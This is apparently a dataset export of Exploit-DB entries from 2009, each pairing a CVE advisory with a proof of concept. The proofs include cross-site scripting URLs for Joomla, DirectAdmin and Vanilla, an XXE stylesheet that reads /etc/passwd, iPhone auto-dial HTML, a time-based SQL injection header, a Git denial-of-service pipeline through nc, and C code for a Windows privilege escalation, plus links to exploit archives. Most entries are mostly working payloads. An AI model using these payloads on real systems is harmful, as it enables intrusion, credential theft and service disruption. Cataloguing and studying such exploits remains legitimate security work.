QLWD/code_shield huggingface dataset:
标题: Cisco Adaptive Security Appliance 8.x - Web VPN FTP or CIFS Authentication Form Phishing EDB-ID: 33054 CVE: 2009-1203 类型: REMOTE 平台: HARDWARE 发布日期: 2009-05-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/35475/info

Cisco Adaptive Security Appliance (ASA) is prone to a vulnerability that can aid in phishing attacks.

An attacker can exploit this issue to display a fake login window that's visually similar to the device's login window, which may mislead users.

This issue is tracked by Cisco Bug ID CSCsy80709.

The attacker can exploit this issue to set up phishing attacks. Successful exploits could aid in further attacks.

Versions prior to ASA 8.0.4.34 and 8.1.2.25 are vulnerable.


The following example is available:

/+CSCOE+/files/browse.html?code=init&path=ftp%3A%2F%2F7367632e726b6e7a6379722e70627a URL: https://www.exploit-db.com/exploits/33054
标题: DirectAdmin 1.33.6 - 'CMD_REDIRECT' Cross-Site Scripting EDB-ID: 33048 CVE: 2009-2216 类型: WEBAPPS 平台: JAVA 发布日期: 2009-05-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/35450/info

DirectAdmin is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker can leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

DirectAdmin 1.33.6 and prior versions are affected.

http://www.example.com:2222/CMD_REDIRECT?view=advanced&sort1%22%3E%3Cscript%3Ealert(111);%3C/script%3E=1&domain=www.example2.com URL: https://www.exploit-db.com/exploits/33048
标题: LibTIFF 3.8.2 - 'LZWDecodeCompat()' Remote Buffer Underflow EDB-ID: 33049 CVE: 2009-2285 类型: DOS 平台: LINUX 发布日期: 2009-05-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/35451/info

LibTIFF is prone to a remote buffer-underflow vulnerability because it fails to perform adequate boundary checks on user-supplied data.

An attacker can exploit this issue to execute arbitrary malicious code in the context of a user running an application that uses the affected library. Failed exploit attempts will likely crash the application.

LibTIFF 3.8.2 is vulnerable; other versions may be affected as well. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/33049.zip URL: https://www.exploit-db.com/exploits/33049
标题: Apple iPhone 2.2.1 - Call Approval Dialog Security Bypass (3) EDB-ID: 33046 CVE: 2009-0961 类型: REMOTE 平台: HARDWARE 发布日期: 2009-05-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/35425/info
  
Apple iPhone is prone to a security-bypass vulnerability that may cause a call to be placed automatically.
  
Successfully exploiting this issue may allow attackers to bypass the Mail's call-approval dialog and place a call automatically from a vulnerable device.
  
NOTE: This issue was previously covered in BID 35414 (Apple iPhone and iPod touch Prior to Version 3.0 Multiple Vulnerabilities), but has been assigned its own record to better document it.
  
<html> <head> <title>iPhone Safari phone-auto-dial Exploit Demo by Collin Mulliner</title> </head> <body> <script lang=javascript> l = "<iframe src=\"sms:"; for (i = 0; i < 10000; i++) { l = l + "3340948034298232"; } l = l + "\" width=10 height=10></iframe><iframe src=\"tel:+12345\" height=10 width=10></iframe>"; document.write(l); </script> </body> </html> URL: https://www.exploit-db.com/exploits/33046
标题: Irssi 0.8.13 - 'WALLOPS' Message Off-by-One Heap Memory Corruption EDB-ID: 33041 CVE: 2009-1959 类型: DOS 平台: LINUX 发布日期: 2009-05-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/35399/info

Irssi is prone to an off-by-one, heap-based, memory-corruption vulnerability because it fails to properly bounds-check user-supplied data before copying it into a memory buffer.

Attackers can exploit this issue to crash the vulnerable client, resulting in a denial-of-service condition. Given the nature of this issue, attackers may also be able to run arbitrary code within the context of the vulnerable application, but this has not been confirmed.

Iirssi 0.8.13 is vulnerable; other versions may also be affected. 

The following example IRC command is available; please see the references for more information.

: WALLOPS \001ACTION URL: https://www.exploit-db.com/exploits/33041
标题: Git 1.6.3 - Parameter Processing Remote Denial of Service EDB-ID: 33036 CVE: 2009-2108 类型: DOS 平台: LINUX 发布日期: 2009-05-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/35338/info


Git is prone to a denial-of-service vulnerability because it fails to properly handle some client requests.

Attackers can exploit this issue to cause a daemon process to enter an infinite loop. Repeated exploits may consume excessive system resources, resulting in a denial-of-service condition.

Git 1.4.4.5 through 1.6.3.2 are vulnerable; other versions may also be affected.

$ perl -e '
$s="git-upload-pack git\0user=me\0host=localhost\0";
printf "%4.4x%s",4+length $s,$s
' | nc $GITHOST 9418 URL: https://www.exploit-db.com/exploits/33036
标题: Linux Kernel 2.6.x (Sparc64) - '/proc/iomem' Local Denial of Service EDB-ID: 33043 CVE: 2009-1914 类型: DOS 平台: LINUX 发布日期: 2009-05-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/35415/info

The Linux kernel is prone to a local denial-of-service vulnerability that attackers can exploit to cause an affected computer to crash.

This issue affects the Linux kernel 2.6.22-rc1 through 2.6.29 on the sparc64 architecture.

The following example command is available:

cat /proc/iomem URL: https://www.exploit-db.com/exploits/33043
标题: Webmedia Explorer 5.0.9/5.10 - Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 33038 CVE: 2009-2107 类型: WEBAPPS 平台: PHP 发布日期: 2009-05-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/35368/info

Webmedia Explorer is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Webmedia Explorer 5.0.9 and 5.10.0 are vulnerable; other versions may also be affected. 

http://www.example.com/webmediaexpl/htdocs/index.php?search=" onmouseover=alert(0) ---
http://www.example.com/webmediaexpl/htdocs/?view=2&thisisnotarealcall=&#039;)" onmouseover=alert(0) > ---
http://www.example.com/webmediaexpl/htdocs/index.php?dir=&bookmark=" onmouseover=alert(0) > ---&action=edit

POST Method - Cross Site Scripting:
Host: [HOST]
User-Agent: FireFox-3-RoXx
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer:
http://[HOST]/webmediaexpl/htdocs/index.php?action=remember
Content-Type: application/x-www-form-urlencoded
Content-Length: 58

Post Content:
email=%22+onmouseover%3Dalert%280%29+%3E+---&captcha_code= URL: https://www.exploit-db.com/exploits/33038
标题: Apple iPhone 2.2.1 - Call Approval Dialog Security Bypass (1) EDB-ID: 33044 CVE: 2009-0961 类型: REMOTE 平台: HARDWARE 发布日期: 2009-05-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/35425/info

Apple iPhone is prone to a security-bypass vulnerability that may cause a call to be placed automatically.

Successfully exploiting this issue may allow attackers to bypass the Mail's call-approval dialog and place a call automatically from a vulnerable device.

NOTE: This issue was previously covered in BID 35414 (Apple iPhone and iPod touch Prior to Version 3.0 Multiple Vulnerabilities), but has been assigned its own record to better document it. 

<html> <head> <title>iPhone Safari phone-auto-dial Exploit Demo by Collin Mulliner</title> </head> <body> <iframe src="sms:+12345" WIDTH=50 HEIGHT=10></iframe> <iframe src="tel:+12345" WIDTH=50 HEIGHT=10></iframe> <!-- second iframe is to attack quick users who manage to close the first call-dialog //--> <iframe src="tel:+12345" WIDTH=50 HEIGHT=10></iframe> </body> </html> URL: https://www.exploit-db.com/exploits/33044
标题: Mozilla Firefox 3.0.10 / SeaMonkey 1.1.16 - Address Bar URI Spoofing EDB-ID: 33039 CVE: 2009-1834 类型: REMOTE 平台: LINUX 发布日期: 2009-05-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/35388/info

Mozilla Firefox and SeaMonkey are affected by a URI-spoofing vulnerability because they fail to adequately handle user-supplied data.

An attacker may leverage this issue by inserting arbitrary content to spoof a URI presented to an unsuspecting user. This may lead to a false sense of trust because the victim may be presented with a URI of a seemingly trusted site while interacting with the attacker's malicious site.

Versions *prior to* the following are affected:

Firefox 3.0.11
SeaMonkey 1.1.17

NOTE: This issue was previously covered in BID 35326 (Mozilla Firefox/Thunderbird/SeaMonkey MFSA 2009-24 through -32 Multiple Remote Vulnerabilities), but has been assigned its own record to better document it. 


The following example URI is available:

https://www.example.xn--com-edoaaaaaaaaaaaaaaaaaaaaaaaaaaaa.example2.org/

This URI would be decoded as 'www.example.com' followed by multiple 'U+115a' characters and '.example2.org'. URL: https://www.exploit-db.com/exploits/33039
标题: Compress::Raw::Zlib Perl Module - Remote Code Execution EDB-ID: 33032 CVE: 2009-1391 类型: REMOTE 平台: LINUX 发布日期: 2009-05-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/35307/info


The 'Compress::Raw::Zlib' Perl module is prone to a remote code-execution vulnerability.

Successful exploits may allow remote attackers to execute arbitrary code or cause denial-of-service conditions in applications that use the vulnerable module.

Versions prior to 'Compress::Raw::Zlib' 2.017 are affected.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/33032.tar.gz URL: https://www.exploit-db.com/exploits/33032
标题: WebKit - JavaScript 'onload()' Event Cross Domain Scripting EDB-ID: 33033 CVE: 2009-1684 类型: REMOTE 平台: MULTIPLE 发布日期: 2009-05-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/35315/info

WebKit is prone to a cross-domain scripting vulnerability because it fails to properly restrict the access of JavaScript code when loading new webpages.

A remote attacker can exploit this vulnerability to bypass the same-origin policy and obtain potentially sensitive information or to launch spoofing attacks against other sites. Other attacks are also possible.

NOTE: This issue was previously covered in BID 35260 (Apple Safari Prior to 4.0 Multiple Security Vulnerabilities), but has been assigned its own record to better document it.

<html> <body onunload='intercept()'> <script> function intercept() { setTimeout('update_page()',10); stop(); } function update_page() { document.getElementById('hideme').style.visibility = "hidden"; document.getElementById('showme').style.visibility = "visible"; document.getElementById('sitename').innerHTML = document.location; } </script> <span id=showme style="visibility: hidden"> <font size=+1 color=teal>This is a spoofed version of <b><span id=sitename></span></b></font> </span> <br> <span id=hideme>Please navigate away from this page.</span> URL: https://www.exploit-db.com/exploits/33033
标题: GUPnP 0.12.7 - Message Handling Denial of Service EDB-ID: 33040 CVE: 2009-2174 类型: DOS 平台: LINUX 发布日期: 2009-05-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/35390/info

GUPnP is prone to a vulnerability that remote attackers may exploit to cause denial-of-service conditions.

Versions prior to GUPnP 0.12.8 are affected. 

======== ACTION MESSAGE ==========
POST /Dimming/Control HTTP/1.1 SOAPAction: "urn:schemas-upnp-org:service:Dimming:1#GetLoadLevelStatus"
Host: www.example.com:41615 Content-Type: text/xml
Content-Length: 0
================================== URL: https://www.exploit-db.com/exploits/33040
标题: Mozilla Firefox 3.0.x - Large '.GIF' File Background Denial of Service EDB-ID: 33031 CVE: 2009-2044 类型: DOS 平台: LINUX 发布日期: 2009-05-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/35280/info

Mozilla Firefox is prone to a remote denial-of-service vulnerability.

Successful exploits can allow attackers to crash the affected browser, resulting in denial-of-service conditions.

Firefox 3.0.10 is affected; other versions may also be vulnerable. 

<!-- Firefox 3.0.10 DOS exploit, discovered by Ahmad Muammar W.K (y3dips[at]echo[dot]or[dot]id) http://y3dips.echo.or.id //--> <html> <head> <title>Firefox Exploit</title> <body background="exploit.gif"> </body> </html> URL: https://www.exploit-db.com/exploits/33031
标题: WebKit - XML External Entity Information Disclosure EDB-ID: 33034 CVE: 2009-1699 类型: REMOTE 平台: LINUX 发布日期: 2009-05-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/35321/info

WebKit is prone to a remote information-disclosure vulnerability.

An attacker can exploit this issue to obtain sensitive information that may aid in further attacks.

NOTE: This issue was previously covered in BID 35260 (Apple Safari Prior to 4.0 Multiple Security Vulnerabilities), but has been assigned its own record to better document it. 

Safari prior to version 4 may permit an evil web page to steal files
from the local system.

This is accomplished by mounting an XXE attack against the parsing of
the XSL XML. This is best explained with a sample evil XSL file which
includes a DTD that attempts the XXE attack:

<!DOCTYPE doc [ <!ENTITY ent SYSTEM "file:///etc/passwd"> ] >
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
  <html>
  <body>
Below you should see the content of a local file, stolen by this evil web page.
<p/>
&ent;
<script>
alert(document.body.innerHTML);
</script>
  </body>
  </html>
</xsl:template>
</xsl:stylesheet>

To mount the attack, the attacker would serve a web page which has XML
MIME type and requests to be styled by the evil stylesheet:

<?xml version="1.0" encoding="ISO-8859-1"?>
<?xml-stylesheet type="text/xsl" href="safaristealfilebug.xsl"?>
<xml>
irrelevant
</xml>

Full technical details: http://scary.beasts.org/security/CESA-2009-006.html

Blog post: http://scarybeastsecurity.blogspot.com/2009/06/apples-safari-4-fixes-local-file-theft.html
(includes 1-click demos)

Cheers
Chris URL: https://www.exploit-db.com/exploits/33034
标题: Mozilla Firefox 3.0.10 - 'nsViewManager.cpp' Denial of Service EDB-ID: 33042 CVE: 2009-2043 类型: DOS 平台: LINUX 发布日期: 2009-05-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/35413/info

Mozilla Firefox is prone to a remote denial-of-service vulnerability.

Successful exploits can allow attackers to crash the affected browser, resulting in denial-of-service conditions.

Firefox 3.0.2 through 3.0.10 are vulnerable. 

Start Firefox
Open new tab
Go to a space
Open "Create a new document" in a new tab
Click Continue (Write a New Document)
Enter any name for the document like "test123" for the document
Switch to HTML
Paste attached HTML as the content
Click Publish
Quit Firefox & click "Save and Quit"
(edit sequence:)
Start Firefox (which should open two tabs from previous session)
Click OK to any authentication windows that pop up.
Click to focus on the second tab
Click on "Edit document" link
*CRASH* URL: https://www.exploit-db.com/exploits/33042
标题: Joomla! < 1.5.11 - Multiple Cross-Site Scripting / HTML Injection Vulnerabilities EDB-ID: 33022 CVE: 2009-1938 类型: WEBAPPS 平台: PHP 发布日期: 2009-06-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/35189/info


Joomla! is prone to multiple cross-site scripting and HTML-injection vulnerabilities because the application fails to sufficiently sanitize user-supplied input. These issues affect the 'com_user' component, the 'JA_Purity' template, and the administrative panel in the 'Site client' subproject of the application.

An attacker can exploit these issues to steal cookie-based authentication credentials and launch other attacks.

Versions prior to Joomla!1.5.11 are vulnerable. 

http://www.example.com/path/?theme_header=%22%3E%3Cscript%3Ealert(%2FXSS%2F)%3B%3C%2Fscript%3E
http://www.example.com/path/?theme_background=%22%3E%3Cscript%3Ealert(%2FXSS%2F)%3B%3C%2Fscript%3E
http://www.example.com/path/?theme_elements=%22%3E%3Cscript%3Ealert(%2FXSS%2F)%3B%3C%2Fscript%3E
http://www.example.com/path/?logoType=1&logoText=%3Cscript%3Ealert(%2FXSS%2F)%3B%3C%2Fscript%3E
http://www.example.com/path/?logoType=1&sloganText=%3Cscript%3Ealert(%2FXSS%2F)%3B%3C%2Fscript%3E
http://www.example.com/path/?excludeModules=%27;alert(8);%20var%20b=%27
http://www.example.com/path/?rightCollapseDefault=%27;alert(8);%20var%20b=%27
http://www.example.com/path/?ja_font=%22%3E%3Cscript%3Ealert(%2FXSS%2F)%3B%3C%2Fscript%3E URL: https://www.exploit-db.com/exploits/33022
标题: Adobe Acrobat 9.1.3 - Stack Exhaustion Denial of Service EDB-ID: 33017 CVE: 2009-3431 类型: DOS 平台: LINUX 发布日期: 2009-05-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/35148/info

Adobe Acrobat is prone to a denial-of-service vulnerability because it fails to perform adequate boundary checks on user-supplied data.

Attackers can exploit this issue to cause the affected application to crash, effectively denying service. Attackers may also be able to execute arbitrary code, but this has not been confirmed.

Acrobat 9.1.1 is vulnerable; other versions may also be affected.

NOTE: This BID was previously classified as a buffer-overflow issue, but further analysis reveals that it is a stack-exhaustion issue. Code execution is unlikely. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/33017.pdf URL: https://www.exploit-db.com/exploits/33017
标题: Apache Tomcat 6.0.18 - Form Authentication Existing/Non-Existing 'Username' Enumeration EDB-ID: 33023 CVE: 2009-0580 类型: REMOTE 平台: MULTIPLE 发布日期: 2009-06-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/35196/info

Apache Tomcat is prone to a username-enumeration weakness because it displays different responses to login attempts, depending on whether or not the username exists.

Attackers may exploit this weakness to discern valid usernames. This may aid them in brute-force password cracking or other attacks.

The following are vulnerable:

Tomcat 4.1.x (prior to 4.1.40)
Tomcat 5.5x (prior to 5.5.28)
Tomcat 6.0.x (prior to 6.0.20) 

The following example POST data is available:

POST /j_security_check HTTP/1.1
Host: www.example.com

j_username=tomcat&j_password=% URL: https://www.exploit-db.com/exploits/33023
标题: Linux Kernel 2.6.x - 'splice(2)' Double Lock Local Denial of Service EDB-ID: 33015 CVE: 2009-1961 类型: DOS 平台: LINUX 发布日期: 2009-05-29 漏洞利用脚本: /*
source: https://www.securityfocus.com/bid/35143/info

The Linux kernel is prone to a local denial-of-service vulnerability.

Attackers can exploit this issue to cause an affected process to hang, denying service to legitimate users. Other denial-of-service attacks are also possible.

This issue was introduced in Linux Kernel 2.6.19. The following versions have been fixed:

Linux Kernel 2.6.30-rc3
Linux Kernel 2.6.27.24
Linux Kernel 2.6.29.4 
*/


    pipe(pfds);
    snprintf(buf, sizeof(buf), "/tmp/%d", getpid());
    fd = open(buf, O_RDWR | O_CREAT, S_IRWXU);

    if (fork()) {
        splice(pfds[0], NULL, fd, NULL, 1024, NULL);
    } else{
        sleep(1);
        splice(pfds[0], NULL, fd, NULL, 1024, NULL);
    } URL: https://www.exploit-db.com/exploits/33015
标题: Microsoft Internet Explorer 5.0.1 - Cached Content Cross Domain Information Disclosure EDB-ID: 33024 CVE: 2009-1140 类型: REMOTE 平台: WINDOWS 发布日期: 2009-06-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/35200/info

Microsoft Internet Explorer is prone to a cross-domain information-disclosure vulnerability because the application fails to properly enforce the same-origin policy.

An attacker can exploit this issue to access local files or content from a browser window in another domain or security zone. This may allow the attacker to obtain sensitive information or may aid in further attacks.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/33024.zip URL: https://www.exploit-db.com/exploits/33024
标题: Lussumo Vanilla 1.1.5/1.1.7 - 'updatecheck.php' Cross-Site Scripting EDB-ID: 33013 CVE: 2009-1845 类型: WEBAPPS 平台: PHP 发布日期: 2009-05-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/35124/info

Vanilla is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Versions prior to Vanilla 1.1.8 are vulnerable. 

http://www.example.com/ajax/updatecheck.php?PostBackKey=1&ExtensionKey=1&RequestName=1<script>alert(123)</script> URL: https://www.exploit-db.com/exploits/33013
标题: PHP-Nuke 8.0 - '/main/tracking/userLog.php' SQL Injection EDB-ID: 33011 CVE: 2009-1842 类型: WEBAPPS 平台: PHP 发布日期: 2009-05-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/35117/info

PHP-Nuke is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

PHP-Nuke 8.0.0 is vulnerable; other versions may also be affected.

The following sample request is available:

GET http://www.example.com/PHP-Nuke-8.0/index.php HTTP/1.0
Accept: */*
referer: '+IF(False,'',SLEEP(5))+' URL: https://www.exploit-db.com/exploits/33011
标题: Microsoft Windows XP/2000/2003 - Desktop Wall Paper System Parameter Privilege Escalation EDB-ID: 33012 CVE: 2009-1808 类型: LOCAL 平台: WINDOWS 发布日期: 2009-02-02 漏洞利用脚本: // source: https://www.securityfocus.com/bid/35120/info

Microsoft Windows is prone to a local privilege-escalation vulnerability.

Attackers may exploit this issue to execute arbitrary code with kernel-level privileges. Successful exploits will facilitate the complete compromise of affected computers. Failed exploit attempts will result in a denial-of-service condition. 

#include <windows.h>
int main()
{
 WCHAR c[1000] = {0};
 memset(c, �c�, 1000);
 SystemParametersInfo(SPI_SETDESKWALLPAPER, 0, (PVOID)c, 0);

 WCHAR b[1000] = {0};
 SystemParametersInfo(SPI_GETDESKWALLPAPER, 1000, (PVOID)b, 0);
 return 0;
} URL: https://www.exploit-db.com/exploits/33012